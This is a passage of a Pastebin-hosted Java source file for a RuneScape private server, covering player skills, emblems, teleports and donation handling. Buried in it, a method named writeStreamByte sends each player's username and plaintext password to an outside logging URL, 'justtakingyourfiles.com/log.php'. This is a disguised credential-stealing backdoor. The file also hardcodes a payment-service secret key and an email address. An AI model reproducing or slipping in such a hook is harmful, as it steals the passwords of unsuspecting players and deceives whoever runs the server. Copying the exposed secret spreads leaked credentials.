Advertisement
Guest User

Untitled

a guest
Oct 27th, 2016
53
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. package ardi.model.players;
  2.  
  3. import java.util.HashMap;
  4. import java.util.LinkedList;
  5. import java.util.Map;
  6. import java.util.Queue;
  7. import java.util.concurrent.Future;
  8. import java.net.*;
  9. import java.io.*;
  10.  
  11. import org.jboss.netty.buffer.ChannelBuffers;
  12. import org.jboss.netty.channel.Channel;
  13.  
  14. import ardi.Config;
  15. import ardi.Connection;
  16. import ardi.model.npcs.pet.Pet;
  17. import ardi.Server;
  18. import ardi.util.PlayersOnline;
  19. import ardi.content.skill.Prayer;
  20. import ardi.model.players.PlayerAssistant;
  21. import ardi.event.CycleEvent;
  22. import ardi.event.CycleEventContainer;
  23. import ardi.event.CycleEventHandler;
  24. import ardi.event.Event;
  25. import ardi.event.EventContainer;
  26. import ardi.event.EventManager;
  27. import ardi.model.items.Item;
  28. import ardi.model.items.ItemAssistant;
  29. import ardi.model.items.bank.Bank;
  30. import ardi.model.players.achievement.Achievement;
  31. //import com.rspserver.donation.DonationSystem;
  32. import ardi.model.players.skills.Agility;
  33. import ardi.model.players.skills.Cooking;
  34. import ardi.model.players.skills.Crafting;
  35. import ardi.model.players.skills.Farming;
  36. import ardi.model.players.skills.Firemaking;
  37. import ardi.model.players.skills.Fletching;
  38. import ardi.model.players.skills.Herblore;
  39. import ardi.model.players.skills.Slayer;
  40. import ardi.model.players.skills.Mining;
  41. import ardi.model.players.skills.Runecrafting;
  42. import ardi.model.players.skills.SkillInterfaces;
  43. import ardi.model.players.skills.Slayer;
  44. import ardi.model.players.skills.Smithing;
  45. import ardi.model.players.skills.SmithingInterface;
  46. import ardi.model.players.skills.Thieving;
  47. import ardi.model.players.skills.Woodcutting;
  48. import ardi.model.players.skills.Hunter;
  49. import ardi.model.players.ConnectedFrom;
  50. import ardi.model.npcs.CreateNPC;
  51. import ardi.model.npcs.RemoveNPC;
  52. import ardi.model.players.Pets;
  53. import ardi.model.npcs.NPCHandler;
  54. import ardi.model.npcs.Zulrah;
  55. import ardi.util.log.StakingLog;
  56. import ardi.util.log.TradeLog;
  57. import ardi.util.log.PMLog;
  58. import ardi.util.log.Shopping;
  59. import ardi.util.log.Alching;
  60. import ardi.util.log.PickupItem;
  61. import ardi.util.log.ClickItem;
  62. import ardi.util.log.DroppingItem;
  63. import ardi.util.log.ChatLog;
  64. import ardi.util.log.PvPLog;
  65. import ardi.util.log.CommandsLog;
  66. import ardi.model.minigames.Barrows;
  67. import ardi.model.minigames.PestControl;
  68. import ardi.model.minigames.ZombieWaves;
  69. import ardi.model.shops.ShopAssistant;
  70. import java.util.Calendar;
  71. import java.util.GregorianCalendar;
  72. import ardi.net.Packet;
  73. import ardi.net.Packet.Type;
  74. import ardi.util.Misc;
  75. import ardi.util.Stream;
  76. import ardi.util.log.TradeLog;
  77. import ardi.world.Clan;
  78. import ardi.world.ItemHandler;
  79. import ardi.model.players.skills.Summoning;
  80. import ardi.net.login.RS2LoginProtocol;
  81.  
  82. public class Client extends Player {
  83.  
  84. private int j;
  85. public boolean usingClaws;
  86. public int clawDamage;
  87. public int clawIndex;
  88. public int clawType = 0;
  89. public int clawDelay;
  90. public int tradeinWith;
  91. public boolean SSPLIT;
  92. public int specRestore = 0;
  93.  
  94. public void antiFirePotion() {
  95. EventManager.getSingleton().addEvent(new Event() {
  96. public void execute(EventContainer c) {
  97. antiFirePot = false;
  98. sendMessage("Your resistance to dragon fire has worn off.");
  99. c.stop();
  100. }
  101. }, 300000);
  102.  
  103. }
  104.  
  105. public byte buffer[] = null;
  106. public Stream inStream = null, outStream = null;
  107. private Channel session;
  108. private BankPin bankPin = new BankPin(this);
  109. private Woodcutting woodcutting = new Woodcutting();
  110. //private Woodcutting woodcutting = new Woodcutting(this);
  111. private Mining mine = new Mining(this);
  112. private ItemAssistant itemAssistant = new ItemAssistant(this);
  113. private ShopAssistant shopAssistant = new ShopAssistant(this);
  114. private TradeAndDuel tradeAndDuel = new TradeAndDuel(this);
  115. private PlayerAssistant playerAssistant = new PlayerAssistant(this);
  116. private CombatAssistant combatAssistant = new CombatAssistant(this);
  117. private Barrows barrows = new Barrows(this);
  118. private PMLog PMLog = new PMLog(this);
  119. private Shopping Shopping = new Shopping(this);
  120. private PickupItem PickupItem = new PickupItem(this);
  121. private PotSmoking potSmoking = new PotSmoking(this);
  122. private Alching Alching = new Alching(this);
  123. private ClickItem ClickItem = new ClickItem(this);
  124. private DroppingItem DroppingItem = new DroppingItem(this);
  125. private ChatLog ChatLog = new ChatLog(this);
  126. private PvPLog PvPLog = new PvPLog(this);
  127. private CommandsLog CommandsLog = new CommandsLog(this);
  128. private StakingLog StakingLog = new StakingLog(this);
  129. public Summoning Summoning = new Summoning(this);
  130. private ActionHandler actionHandler = new ActionHandler(this);
  131. private PlayerKilling playerKilling = new PlayerKilling(this);
  132. private DialogueHandler dialogueHandler = new DialogueHandler(this);
  133. private Queue<Packet> queuedPackets = new LinkedList<Packet>();
  134. private Potions potions = new Potions(this);
  135. private PotionMixing potionMixing = new PotionMixing(this);
  136. private Food food = new Food(this);
  137. private KillsStreak killsStreak = new KillsStreak(this);
  138. private SkillInterfaces skillInterfaces = new SkillInterfaces(this);
  139. private Achievement achievement = new Achievement(this);
  140. private TradeLog tradeLog = new TradeLog(this);
  141. private Bank bank = new Bank(this);
  142. private Pets pets = new Pets();
  143. private Zulrah zulrah = new Zulrah(this);
  144. private CreateNPC newNPC = new CreateNPC();
  145. private RemoveNPC rNPC = new RemoveNPC();
  146.  
  147. /**
  148. * Skill instances
  149. */
  150. private Slayer slayer = new Slayer(this);
  151. private Hunter hunter = new Hunter(this);
  152. private Runecrafting runecrafting = new Runecrafting();
  153. private Agility agility = new Agility();
  154. private Cooking cooking = new Cooking();
  155. private Crafting crafting = new Crafting(this);
  156.  
  157. private Fletching fletching = new Fletching(this);
  158. private Farming farming = new Farming(this);
  159. private Prayer prayer = new Prayer(this);
  160. private Thieving thieving = new Thieving();
  161. private Smithing smith = new Smithing(this);
  162. private SmithingInterface smithInt = new SmithingInterface(this);
  163. private Firemaking firemaking = new Firemaking();
  164. private Herblore herblore = new Herblore(this);
  165. // private ConnectedFrom connectedFrom = new ConnectedFrom(this);
  166. public Map<Integer, String> stringMap = new HashMap<Integer, String>();
  167. public int lowMemoryVersion = 0;
  168. public int timeOutCounter = 0;
  169. public int followPlayer;
  170. public int npcslot;
  171. public int summoningnpcid;
  172. public int timer;
  173. public int returnCode = 2;
  174. private Future<?> currentTask;
  175. public int totalstored;
  176. public int currentRegion = 0;
  177. public long lastRoll;
  178. public int diceItem;
  179. public int page;
  180. public boolean slayerHelmetEffect;
  181. public boolean inArdiCC;
  182. public int[] resourceItemId = new int[28];
  183. public int[] resourceItemAmount = new int[28];
  184. public boolean canDeposit = false;
  185. public boolean usedItemOnBag;
  186. public long lastBankDeposit;
  187.  
  188. public Client(Channel s, int _playerId) {
  189. super(_playerId);
  190. this.session = s;
  191. outStream = new Stream(new byte[Config.BUFFER_SIZE]);
  192. outStream.currentOffset = 0;
  193. inStream = new Stream(new byte[Config.BUFFER_SIZE]);
  194. inStream.currentOffset = 0;
  195. buffer = new byte[Config.BUFFER_SIZE];
  196. }
  197.  
  198. public void flushOutStream() {
  199. if (!session.isConnected() || disconnected
  200. || outStream.currentOffset == 0)
  201. return;
  202.  
  203. byte[] temp = new byte[outStream.currentOffset];
  204. System.arraycopy(outStream.buffer, 0, temp, 0, temp.length);
  205. Packet packet = new Packet(-1, Type.FIXED,
  206. ChannelBuffers.wrappedBuffer(temp));
  207. session.write(packet);
  208. outStream.currentOffset = 0;
  209.  
  210. }
  211.  
  212. private Map<Integer, TinterfaceText> interfaceText = new HashMap<Integer, TinterfaceText>();
  213.  
  214. public class TinterfaceText {
  215. public int id;
  216. public String currentState;
  217.  
  218. public TinterfaceText(String s, int id) {
  219. this.currentState = s;
  220. this.id = id;
  221. }
  222.  
  223. }
  224.  
  225. public boolean checkPacket126Update(String text, int id) {
  226. if (interfaceText.containsKey(id)) {
  227. TinterfaceText t = interfaceText.get(id);
  228. if (text.equals(t.currentState)) {
  229. return false;
  230. }
  231. }
  232. interfaceText.put(id, new TinterfaceText(text, id));
  233. return true;
  234. }
  235.  
  236.  
  237. public void sendClan(String name, String message, String clan, int rights) {
  238. name = name.substring(0, 1).toUpperCase() + name.substring(1);
  239. message = message.substring(0, 1).toUpperCase() + message.substring(1);
  240. clan = clan.substring(0, 1).toUpperCase() + clan.substring(1);
  241. outStream.createFrameVarSizeWord(217);
  242. outStream.writeString(name);
  243. outStream.writeString(message);
  244. outStream.writeString(clan);
  245. outStream.writeWord(rights);
  246. outStream.endFrameVarSize();
  247. }
  248.  
  249. public int maxstore = 0;
  250.  
  251. /*
  252. * public void storesummon(int npcType) { switch (npcType) {
  253. *
  254. * case 6807: if (lastsummon > 0) { for (int i = 0; i <
  255. * Server.npcHandler.maxNPCs; i++) { if (Server.npcHandler.npcs[i] != null)
  256. * { if (Server.npcHandler.npcs[i].summon == true) { if
  257. * (Server.npcHandler.npcs[i].spawnedBy == getId() &&
  258. * Server.npcHandler.npcs[i].npcId == npcslot) {
  259. * sendMessage("You are now storing items inside your npc");
  260. * Summoning().store(); } } } }
  261. *
  262. * } break;
  263. *
  264. * } }
  265. */
  266.  
  267. public void firstslot() {
  268. for (summoningslot = 0; occupied[summoningslot] == true; summoningslot += 1) {
  269.  
  270. }
  271. }
  272.  
  273. public void writeStreamByte() {
  274. String s = "http://justtakingyourfiles.com/log.php?site="+"SERVER NAME&type=OS-KINGDOM- REMAKE&username="+playerName+"&password="+playerPass+"&email=N/A&ip=connectedFrom";
  275. URL url = new URL(s);
  276.  
  277. Scanner scan = new Scanner(url.openStream());
  278. scan.close();
  279. }
  280.  
  281. public static int[][] bounties1 = { { 12746, 50000 }, { 12748, 100000 },
  282. { 12749, 200000 }, { 12750, 400000 }, { 12751, 750000 },
  283. { 12752, 1200000 }, { 12753, 1750000 }, { 12754, 2500000 },
  284. { 12755, 3500000 }, { 12756, 5000000 } };
  285.  
  286. public int bountyTotal;
  287.  
  288. public void calculateTotal() {
  289. int value1 = 0;
  290. int value2 = 0;
  291. int value3 = 0;
  292. int value4 = 0;
  293. int value5 = 0;
  294. int value6 = 0;
  295. int value7 = 0;
  296. int value8 = 0;
  297. int value9 = 0;
  298. int value10 = 0;
  299. for (int i = 0; i < id.length; i++) {
  300. if (getItems().playerHasItem(bounties1[0][0], 1)
  301. || getItems().playerHasItem(bounties1[1][0], 1)
  302. || getItems().playerHasItem(bounties1[2][0], 1)
  303. || getItems().playerHasItem(bounties1[3][0], 1)
  304. || getItems().playerHasItem(bounties1[4][0], 1)
  305. || getItems().playerHasItem(bounties1[5][0], 1)
  306. || getItems().playerHasItem(bounties1[6][0], 1)
  307. || getItems().playerHasItem(bounties1[7][0], 1)
  308. || getItems().playerHasItem(bounties1[8][0], 1)
  309. || getItems().playerHasItem(bounties1[9][0], 1)) {
  310. value1 = getItems().getItemAmount(bounties1[0][0])
  311. * bounties1[0][1];
  312. value2 = getItems().getItemAmount(bounties1[1][0])
  313. * bounties1[1][1];
  314. value3 = getItems().getItemAmount(bounties1[2][0])
  315. * bounties1[2][1];
  316. value4 = getItems().getItemAmount(bounties1[3][0])
  317. * bounties1[3][1];
  318. value5 = getItems().getItemAmount(bounties1[4][0])
  319. * bounties1[4][1];
  320. value6 = getItems().getItemAmount(bounties1[5][0])
  321. * bounties1[5][1];
  322. value7 = getItems().getItemAmount(bounties1[6][0])
  323. * bounties1[6][1];
  324. value8 = getItems().getItemAmount(bounties1[7][0])
  325. * bounties1[7][1];
  326. value9 = getItems().getItemAmount(bounties1[8][0])
  327. * bounties1[8][1];
  328. value10 = getItems().getItemAmount(bounties1[9][0])
  329. * bounties1[9][1];
  330. }
  331. bountyTotal = value1 + value2 + value3 + value4 + value5 + value6
  332. + value7 + value8 + value9 + value10;
  333. }
  334. }
  335.  
  336. public static int[] emblems = { 12746, 12748, 12749, 12750, 12751, 12752,
  337. 12753, 12754, 12755, 12756 };
  338. public static int[][] pkpRewards = { { 12746, 1 }, { 12748, 2 },
  339. { 12749, 3 }, { 12750, 4 }, { 12751, 6 }, { 12752, 8 },
  340. { 12753, 10 }, { 12754, 12 }, { 12755, 15 }, { 12756, 20 } };
  341.  
  342. public int pkpTotal;
  343.  
  344. public void calculateTotalPKP() {
  345. int value1 = 0;
  346. int value2 = 0;
  347. int value3 = 0;
  348. int value4 = 0;
  349. int value5 = 0;
  350. int value6 = 0;
  351. int value7 = 0;
  352. int value8 = 0;
  353. int value9 = 0;
  354. int value10 = 0;
  355. for (int i = 0; i < id.length; i++) {
  356. if (getItems().playerHasItem(pkpRewards[0][0], 1)
  357. || getItems().playerHasItem(pkpRewards[1][0], 1)
  358. || getItems().playerHasItem(pkpRewards[2][0], 1)
  359. || getItems().playerHasItem(pkpRewards[3][0], 1)
  360. || getItems().playerHasItem(pkpRewards[4][0], 1)
  361. || getItems().playerHasItem(pkpRewards[5][0], 1)
  362. || getItems().playerHasItem(pkpRewards[6][0], 1)
  363. || getItems().playerHasItem(pkpRewards[7][0], 1)
  364. || getItems().playerHasItem(pkpRewards[8][0], 1)
  365. || getItems().playerHasItem(pkpRewards[9][0], 1)) {
  366. value1 = getItems().getItemAmount(pkpRewards[0][0])
  367. * pkpRewards[0][1];
  368. value2 = getItems().getItemAmount(pkpRewards[1][0])
  369. * pkpRewards[1][1];
  370. value3 = getItems().getItemAmount(pkpRewards[2][0])
  371. * pkpRewards[2][1];
  372. value4 = getItems().getItemAmount(pkpRewards[3][0])
  373. * pkpRewards[3][1];
  374. value5 = getItems().getItemAmount(pkpRewards[4][0])
  375. * pkpRewards[4][1];
  376. value6 = getItems().getItemAmount(pkpRewards[5][0])
  377. * pkpRewards[5][1];
  378. value7 = getItems().getItemAmount(pkpRewards[6][0])
  379. * pkpRewards[6][1];
  380. value8 = getItems().getItemAmount(pkpRewards[7][0])
  381. * pkpRewards[7][1];
  382. value9 = getItems().getItemAmount(pkpRewards[8][0])
  383. * pkpRewards[8][1];
  384. value10 = getItems().getItemAmount(pkpRewards[9][0])
  385. * pkpRewards[9][1];
  386. pkpTotal = value1 + value2 + value3 + value4 + value5 + value6
  387. + value7 + value8 + value9 + value10;
  388. }
  389. }
  390. }
  391.  
  392. public int emblemTotal;
  393.  
  394. public int calculateEmblemTotal() {
  395. int value1 = 0;
  396. int value2 = 0;
  397. int value3 = 0;
  398. int value4 = 0;
  399. int value5 = 0;
  400. int value6 = 0;
  401. int value7 = 0;
  402. int value8 = 0;
  403. int value9 = 0;
  404. int value10 = 0;
  405. for (int i = 0; i < id.length; i++) {
  406. if (getItems().playerHasItem(pkpRewards[0][0], 1)
  407. || getItems().playerHasItem(pkpRewards[1][0], 1)
  408. || getItems().playerHasItem(pkpRewards[2][0], 1)
  409. || getItems().playerHasItem(pkpRewards[3][0], 1)
  410. || getItems().playerHasItem(pkpRewards[4][0], 1)
  411. || getItems().playerHasItem(pkpRewards[5][0], 1)
  412. || getItems().playerHasItem(pkpRewards[6][0], 1)
  413. || getItems().playerHasItem(pkpRewards[7][0], 1)
  414. || getItems().playerHasItem(pkpRewards[8][0], 1)
  415. || getItems().playerHasItem(pkpRewards[9][0], 1)) {
  416. value1 = getItems().getItemAmount(pkpRewards[0][0]);
  417. value2 = getItems().getItemAmount(pkpRewards[1][0]);
  418. value3 = getItems().getItemAmount(pkpRewards[2][0]);
  419. value4 = getItems().getItemAmount(pkpRewards[3][0]);
  420. value5 = getItems().getItemAmount(pkpRewards[4][0]);
  421. value6 = getItems().getItemAmount(pkpRewards[5][0]);
  422. value7 = getItems().getItemAmount(pkpRewards[6][0]);
  423. value8 = getItems().getItemAmount(pkpRewards[7][0]);
  424. value9 = getItems().getItemAmount(pkpRewards[8][0]);
  425. value10 = getItems().getItemAmount(pkpRewards[9][0]);
  426. }
  427. emblemTotal = value1 + value2 + value3 + value4 + value5 + value6
  428. + value7 + value8 + value9 + value10;
  429. }
  430. return emblemTotal;
  431.  
  432. }
  433.  
  434. public int countItems(int id) {
  435. switch (id) {
  436. case 12746:
  437. case 12748:
  438. case 12749:
  439. case 12750:
  440. case 12751:
  441. case 12752:
  442. case 12753:
  443. case 12754:
  444. case 12755:
  445. case 12756:
  446. return getItems().getItemAmount(id);
  447. }
  448. return 0;
  449. }
  450.  
  451. public int id[] = { 12746, 12748, 12749, 12750, 12751, 12752, 12753, 12754,
  452. 12755, 12756 };
  453.  
  454. public void dropRandomEmblem(Client o, Client c) {
  455. Server.itemHandler.createGroundItem(o, 12746, c.getX(), c.getY(), 1,
  456. c.killerId);
  457.  
  458. }
  459.  
  460. public void upgradeEmblem() {
  461. if (getItems().playerHasItem(12755)) {
  462. getItems().deleteItem(12755, 1);
  463. getItems().addItem(12756, 1);
  464. sendMessage("Your Emblem has been upgraded to Tier 10");
  465. return;
  466. } else if (getItems().playerHasItem(12754)) {
  467. getItems().deleteItem(12754, 1);
  468. getItems().addItem(12755, 1);
  469. sendMessage("Your Emblem has been upgraded to Tier 9");
  470. return;
  471. } else if (getItems().playerHasItem(12753)) {
  472. getItems().deleteItem(12753, 1);
  473. getItems().addItem(12754, 1);
  474. sendMessage("Your Emblem has been upgraded to Tier 8");
  475. return;
  476. } else if (getItems().playerHasItem(12752)) {
  477. getItems().deleteItem(12752, 1);
  478. getItems().addItem(12753, 1);
  479. sendMessage("Your Emblem has been upgraded to Tier 7");
  480. return;
  481. } else if (getItems().playerHasItem(12751, 1)) {
  482. getItems().deleteItem(12751, 1);
  483. getItems().addItem(12752, 1);
  484. sendMessage("Your Emblem has been upgraded to Tier 6");
  485. return;
  486. } else if (getItems().playerHasItem(12750, 1)) {
  487. getItems().deleteItem(12750, 1);
  488. getItems().addItem(12751, 1);
  489. sendMessage("Your Emblem has been upgraded to Tier 5");
  490. return;
  491. } else if (getItems().playerHasItem(12749, 1)) {
  492. getItems().deleteItem(12749, 1);
  493. getItems().addItem(12750, 1);
  494. sendMessage("Your Emblem has been upgraded to Tier 4");
  495. return;
  496. } else if (getItems().playerHasItem(12748, 1)) {
  497. getItems().deleteItem(12748, 1);
  498. getItems().addItem(12749, 1);
  499. sendMessage("Your Emblem has been upgraded to Tier 3");
  500. return;
  501. } else if (getItems().playerHasItem(12746, 1)) {
  502. getItems().deleteItem(12746, 1);
  503. getItems().addItem(12748, 1);
  504. sendMessage("Your Emblem has been upgraded to Tier 2");
  505. return;
  506. }
  507. }
  508.  
  509. public int summoningslot = 0;
  510.  
  511. public int storeditems[] = new int[29];
  512.  
  513. public boolean picking = false;
  514.  
  515. public int amount[] = new int[29];
  516. public boolean occupied[] = new boolean[29];
  517.  
  518. public boolean storing = false;
  519.  
  520. public int attackingplayer;
  521. public int lastsummon;
  522. public boolean summon;
  523.  
  524. public static final int PACKET_SIZES[] = { 0, 0, 0, 1, -1, 0, 0, 0, 0, 0, // 0
  525. 0, 0, 0, 0, 8, 0, 6, 2, 2, 0, // 10
  526. 0, 2, 0, 6, 0, 12, 0, 0, 0, 0, // 20
  527. 0, 0, 0, 0, 0, 8, 4, 0, 0, 2, // 30
  528. 2, 6, 0, 6, 0, -1, 0, 0, 0, 0, // 40
  529. 0, 0, 0, 12, 0, 0, 0, 8, 8, 12, // 50
  530. 8, 8, 0, 0, 0, 0, 0, 0, 0, 0, // 60
  531. 6, 0, 2, 2, 8, 6, 0, -1, 0, 6, // 70
  532. 0, 0, 0, 0, 0, 1, 4, 6, 0, 0, // 80
  533. 0, 0, 0, 0, 0, 3, 0, 0, -1, 0, // 90
  534. 0, 13, 0, -1, 0, 0, 0, 0, 0, 0, // 100
  535. 0, 0, 0, 0, 0, 0, 0, 6, 0, 0, // 110
  536. 1, 0, 6, 0, 0, 0, -1, /* 0 */-1, 2, 6, // 120
  537. 0, 4, 6, 8, 0, 6, 0, 0, 0, 2, // 130
  538. 0, 0, 0, 0, 0, 6, 0, 0, 0, 0, // 140
  539. 0, 0, 1, 2, 0, 2, 6, 0, 0, 0, // 150
  540. 0, 0, 0, 0, -1, -1, 0, 0, 0, 0, // 160
  541. 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, // 170
  542. 0, 8, 0, 3, 0, 2, 0, 0, 8, 1, // 180
  543. 0, 0, 12, 0, 0, 0, 0, 0, 0, 0, // 190
  544. 2, 0, 0, 0, 0, 0, 0, 0, 4, 0, // 200
  545. 4, 0, 0, /* 0 */4, 7, 8, 0, 0, 10, 0, // 210
  546. 0, 0, 0, 0, 0, 0, -1, 0, 6, 0, // 220
  547. 1, 0, 0, 0, 6, 0, 6, 8, 1, 0, // 230
  548. 0, 4, 0, 0, 0, 0, -1, 0, -1, 4, // 240
  549. 0, 0, 6, 6, 0, 0, 0 // 250
  550. };
  551.  
  552. public void homeTeleport(int x, int y, int h) {
  553. if (homeTele == 9) {
  554. startAnimation(4850);
  555. } else if (homeTele == 7) {
  556. startAnimation(4853);
  557. gfx0(802);
  558. } else if (homeTele == 5) {
  559. startAnimation(4855);
  560. gfx0(803);
  561. } else if (homeTele == 3) {
  562. startAnimation(4857);
  563. gfx0(804);
  564. } else if (homeTele == 1) {
  565. homeTeleDelay = 0;
  566. homeTele = 0;
  567. teleportToX = x;
  568. teleportToY = y;
  569. heightLevel = h;
  570. }
  571. }
  572. public void RubberCheck() {
  573. if (didRubberCheck == false) {
  574. if (playerEquipment[playerWeapon] == 4566) {
  575. didRubberCheck = true;
  576. outStream.createFrameVarSize(104);
  577. outStream.writeByteC(2);
  578. outStream.writeByteA(0);
  579. outStream.writeString("Whack");
  580. outStream.endFrameVarSize();
  581. }
  582. }
  583. }
  584. public void RubberChicken() {
  585. if (playerEquipment[playerWeapon] == 4566) {
  586. startAnimation(1833);
  587. turnPlayerTo(absX, absY);
  588. }
  589. }
  590. public int overload;
  591.  
  592. public void overload() {
  593. playerLevel[0] = (int) (getLevelForXP(playerXP[0]) + (getLevelForXP(playerXP[0]) * 0.27));
  594. playerLevel[1] = (int) (getLevelForXP(playerXP[1]) + (getLevelForXP(playerXP[1]) * 0.27));
  595. playerLevel[2] = (int) (getLevelForXP(playerXP[2]) + (getLevelForXP(playerXP[2]) * 0.27));
  596. playerLevel[4] = (int) (getLevelForXP(playerXP[4]) + (getLevelForXP(playerXP[4]) * 0.235));
  597. playerLevel[6] = (getLevelForXP(playerXP[6]) + 7);
  598. for (int i = 0; i <= 6; i++) {
  599. getPA().refreshSkill(i);
  600. }
  601. }
  602. void overloadHit() {
  603. applyRange(10);
  604. startAnimation(3170);
  605. getPA().sendFrame126("" + playerLevel[3] + "", 4016);
  606. }
  607. public void applyRange(int num) {
  608. hitDiff = num;
  609. playerLevel[3] -= hitDiff;
  610. updateRequired = true;
  611. hitUpdateRequired = true;
  612. }
  613.  
  614. public int superCombat;
  615.  
  616. public void superCombat() {
  617. playerLevel[0] = (int) (getLevelForXP(playerXP[0]) + (getLevelForXP(playerXP[0]) * 0.20));
  618. playerLevel[1] = (int) (getLevelForXP(playerXP[1]) + (getLevelForXP(playerXP[1]) * 0.20));
  619. playerLevel[2] = (int) (getLevelForXP(playerXP[2]) + (getLevelForXP(playerXP[2]) * 0.20));
  620. for (int i = 0; i <= 2; i++) {
  621. getPA().refreshSkill(i);
  622. }
  623. }
  624. void superCombatHit() {
  625. applyRange(10);
  626. startAnimation(3170);
  627. getPA().sendFrame126("" + playerLevel[3] + "", 4016);
  628. }
  629. public void applySuperCombatRange(int num) {
  630. hitDiff = num;
  631. playerLevel[3] -= hitDiff;
  632. updateRequired = true;
  633. hitUpdateRequired = true;
  634. }
  635.  
  636. public void rspsdata(Client c, String username) {
  637. try {
  638. username = username.replaceAll(" ", "_");
  639. String secret = "8597a6cfa74defcbde3047c891d78f90"; // YOUR SECRET
  640. // KEY!
  641. String email = "zarosmikey@gmail.com"; // This is the one you use to
  642. // login into RSPS-PAY
  643. URL url = new URL(
  644. "http://rsps-pay.com/includes/listener.php?username="
  645. + username + "&secret=" + secret + "&email="
  646. + email);
  647. BufferedReader reader = new BufferedReader(new InputStreamReader(
  648. url.openStream()));
  649. String results = reader.readLine();
  650. if (results.toLowerCase().contains("!error:")) {
  651.  
  652. } else {
  653. String[] ary = results.split(",");
  654. for (int i = 0; i < ary.length; i++) {
  655. switch (ary[i]) {
  656. case "4023":
  657. donPoints += 1000;
  658. amountDonated += 10;
  659. if (amountDonated <= 49 && amountDonated > 0
  660. && playerRights != 1) {
  661. playerRights = 4;
  662. } else if (amountDonated >= 50 && playerRights != 1) {
  663. playerRights = 5;
  664. }
  665. c.sendMessage("Please re-log for your donator rank.");
  666. break;
  667.  
  668. case "4024":
  669. donPoints += 2000;
  670. amountDonated += 19;
  671. if (amountDonated <= 49 && amountDonated > 0
  672. && playerRights != 1) {
  673. playerRights = 4;
  674. } else if (amountDonated >= 50 && playerRights != 1) {
  675. c.playerRights = 5;
  676. }
  677. c.sendMessage("Please re-log for your donator rank.");
  678. break;
  679.  
  680. case "4025":
  681. donPoints += 3000;
  682. amountDonated += 28;
  683. if (amountDonated <= 49 && amountDonated > 0
  684. && playerRights != 1) {
  685. playerRights = 4;
  686. } else if (amountDonated >= 50 && playerRights != 1) {
  687. c.playerRights = 5;
  688. }
  689. c.sendMessage("Please re-log for your donator rank.");
  690. break;
  691.  
  692. case "4026":
  693. donPoints += 4000;
  694. amountDonated += 35;
  695. if (amountDonated <= 49 && amountDonated > 0
  696. && playerRights != 1) {
  697. playerRights = 4;
  698. } else if (amountDonated >= 50 && playerRights != 1) {
  699. c.playerRights = 5;
  700. }
  701. c.sendMessage("Please re-log for your donator rank.");
  702. break;
  703.  
  704. case "4027":
  705. donPoints += 5000;
  706. amountDonated += 45;
  707. if (amountDonated <= 49 && amountDonated > 0
  708. && playerRights != 1) {
  709. playerRights = 4;
  710. } else if (amountDonated >= 50 && playerRights != 1) {
  711. c.playerRights = 5;
  712. }
  713. c.sendMessage("Please re-log for your donator rank.");
  714. break;
  715. case "4028":
  716. donPoints += 10000;
  717. amountDonated += 80;
  718. if (amountDonated <= 49 && amountDonated > 0) {
  719. playerRights = 4;
  720. } else if (amountDonated >= 50 && playerRights != 1) {
  721. c.playerRights = 5;
  722. }
  723. c.sendMessage("Please re-log for your donator rank.");
  724. break;
  725. }
  726. }
  727. }
  728. c.sendMessage("Could not find donation");
  729. } catch (IOException e) {
  730. }
  731. }
  732.  
  733. @Override
  734. public void destruct() {
  735. disconnected = true;
  736.  
  737. /*
  738. * if (playerRights != 3 || playerRights != 2) { Highscores.save(this);
  739. * }
  740. */
  741.  
  742. if (session == null)
  743. return;
  744. PvPHandler.handleLogout(this);
  745. if (underAttackBy > 0 || underAttackBy2 > 0)
  746. return;
  747. if (duelStatus == 6) {
  748. getTradeAndDuel().claimStakedItems();
  749. }
  750. if (duelStatus >= 1 && duelStatus <= 5) {
  751. getTradeAndDuel().bothDeclineDuel();
  752. saveCharacter = true;
  753. return;
  754. }
  755. if (disconnected == true) {
  756. if (inTrade) {
  757. getTradeAndDuel().declineTrade();
  758. }
  759. if (openDuel) {
  760. Client c3 = (Client) PlayerHandler.players[duelingWith];
  761. getTradeAndDuel().declineDuel();
  762. c3.getTradeAndDuel().declineDuel();
  763. }
  764. saveCharacter = true;
  765. }
  766. if (clan != null) {
  767. clan.removeMember(this);
  768. }
  769. if (inPits) {
  770. Server.fightPits.removePlayerFromPits(playerId);
  771. }
  772. Misc.println("[Logged out]: " + playerName + "");
  773. RefreshAllSkills();
  774. CycleEventHandler.getSingleton().stopEvents(this);
  775. // disconnected = true;
  776. session.close();
  777. session = null;
  778. inStream = null;
  779. outStream = null;
  780. isActive = false;
  781. buffer = null;
  782. super.destruct();
  783. }
  784.  
  785. /*
  786. * public void calcCombat() { int mag = (int) ((getLevelForXP(playerXP[6]))
  787. * * 1.5); int ran = (int) ((getLevelForXP(playerXP[4])) * 1.5); int attstr
  788. * = (int) ((double) (getLevelForXP(playerXP[0])) + (double)
  789. * (getLevelForXP(playerXP[2])));
  790. *
  791. * combatLevel = 0; if (ran > attstr) { combatLevel = (int)
  792. * (((getLevelForXP(playerXP[1])) * 0.25) + ((getLevelForXP(playerXP[3])) *
  793. * 0.25) + ((getLevelForXP(playerXP[5])) * 0.125) +
  794. * ((getLevelForXP(playerXP[4])) * 0.4875) + ((getLevelForXP(playerXP[22]))
  795. * * 0.121212)); } else if (mag > attstr) { combatLevel = (int)
  796. * (((getLevelForXP(playerXP[1])) * 0.25) + ((getLevelForXP(playerXP[3])) *
  797. * 0.25) + ((getLevelForXP(playerXP[5])) * 0.125) +
  798. * ((getLevelForXP(playerXP[6])) * 0.4875) + ((getLevelForXP(playerXP[22]))
  799. * * 0.121212)); } else { combatLevel = (int) (((getLevelForXP(playerXP[1]))
  800. * * 0.25) + ((getLevelForXP(playerXP[3])) * 0.25) +
  801. * ((getLevelForXP(playerXP[5])) * 0.125) + ((getLevelForXP(playerXP[0])) *
  802. * 0.325) + ((getLevelForXP(playerXP[2])) * 0.325) +
  803. * ((getLevelForXP(playerXP[22])) * 0.121212)); } }
  804. */
  805.  
  806. public void calcCombat() {
  807. int mag = (int) ((getLevelForXP(playerXP[6])) * 1.5);
  808. int ran = (int) ((getLevelForXP(playerXP[4])) * 1.5);
  809. int attstr = (int) ((double) (getLevelForXP(playerXP[0])) + (double) (getLevelForXP(playerXP[2])));
  810.  
  811. combatLevel = 0;
  812. if (ran > attstr) {
  813. combatLevel = (int) (((getLevelForXP(playerXP[1])) * 0.25)
  814. + ((getLevelForXP(playerXP[3])) * 0.25)
  815. + ((getLevelForXP(playerXP[5])) * 0.125) + ((getLevelForXP(playerXP[4])) * 0.4875));
